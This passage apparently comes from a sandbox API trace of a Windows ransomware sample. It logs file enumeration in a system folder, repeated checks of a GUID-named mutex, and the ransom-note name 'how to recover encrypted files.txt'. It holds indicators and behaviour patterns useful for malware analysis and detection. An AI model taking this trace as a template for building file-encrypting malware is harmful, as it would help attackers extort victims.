lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muidc\\en-US\\msaddsr.dll.mui ", lpUsedDefaultChar=0x0) returned 4 [0057.025] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0057.025] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.025] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.025] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.025] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.025] GlobalUnlock (hMem=0x440004) returned 0 [0057.025] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.025] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.025] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.025] GlobalUnlock (hMem=0x440004) returned 0 [0057.025] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.025] GlobalUnlock (hMem=0x44000c) returned 0 [0057.025] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.025] CharLowerBuffW (in: lpsz="msdaprsr.dll.mui", cchLength=0x10 | out: lpsz="msdaprsr.dll.mui") returned 0x10 [0057.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui", cchWideChar=65, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui", lpUsedDefaultChar=0x0) returned 65 [0057.026] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0057.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muidc\\en-US\\msdaprsr.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0057.026] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0057.026] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.026] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.026] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.026] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.026] GlobalUnlock (hMem=0x44000c) returned 0 [0057.026] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.026] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.026] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.026] GlobalUnlock (hMem=0x44000c) returned 0 [0057.026] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.026] GlobalUnlock (hMem=0x440004) returned 0 [0057.026] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.026] CharLowerBuffW (in: lpsz="msdaremr.dll.mui", cchLength=0x10 | out: lpsz="msdaremr.dll.mui") returned 0x10 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui", cchWideChar=65, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui", lpUsedDefaultChar=0x0) returned 65 [0057.027] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0057.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muidc\\en-US\\msdaremr.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0057.027] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0057.027] GetLastError () returned 0x12 [0057.027] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.028] GlobalLock (hMem=0x440004) returned 0x550170 [0057.028] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.028] GlobalUnlock (hMem=0x440004) returned 0 [0057.028] GlobalLock (hMem=0x440004) returned 0x550170 [0057.028] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.028] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.028] GlobalUnlock (hMem=0x440004) returned 0 [0057.028] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.028] GlobalUnlock (hMem=0x44000c) returned 0 [0057.028] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0057.029] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.029] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.029] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.029] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.029] GlobalUnlock (hMem=0x44000c) returned 0 [0057.029] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.029] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.029] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.029] GlobalUnlock (hMem=0x44000c) returned 0 [0057.029] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.030] GlobalUnlock (hMem=0x440004) returned 0 [0057.030] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.030] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.030] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.030] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.030] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.030] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.030] GlobalUnlock (hMem=0x440004) returned 0 [0057.030] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.030] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.030] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.030] GlobalUnlock (hMem=0x440004) returned 0 [0057.030] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.030] GlobalUnlock (hMem=0x44000c) returned 0 [0057.030] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.030] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0057.030] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.030] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.030] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.030] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.030] GlobalUnlock (hMem=0x44000c) returned 0 [0057.030] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.030] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.030] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.030] GlobalUnlock (hMem=0x44000c) returned 0 [0057.030] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.030] GlobalUnlock (hMem=0x440004) returned 0 [0057.031] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.031] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0057.031] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.031] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.031] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.031] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.031] GlobalUnlock (hMem=0x440004) returned 0 [0057.031] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.031] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.031] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.031] GlobalUnlock (hMem=0x440004) returned 0 [0057.031] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.031] GlobalUnlock (hMem=0x44000c) returned 0 [0057.031] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.031] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0057.031] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.031] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.031] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.031] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.031] GlobalUnlock (hMem=0x44000c) returned 0 [0057.031] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.031] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.031] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.031] GlobalUnlock (hMem=0x44000c) returned 0 [0057.031] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.031] GlobalUnlock (hMem=0x440004) returned 0 [0057.031] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.032] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0057.032] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.032] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.032] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.032] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.032] GlobalUnlock (hMem=0x440004) returned 0 [0057.032] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.032] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.032] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.032] GlobalUnlock (hMem=0x440004) returned 0 [0057.032] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.032] GlobalUnlock (hMem=0x44000c) returned 0 [0057.032] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.032] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0057.032] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.032] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.032] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.032] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.032] GlobalUnlock (hMem=0x44000c) returned 0 [0057.032] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.032] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.032] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.032] GlobalUnlock (hMem=0x44000c) returned 0 [0057.032] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.032] GlobalUnlock (hMem=0x440004) returned 0 [0057.032] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.032] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, 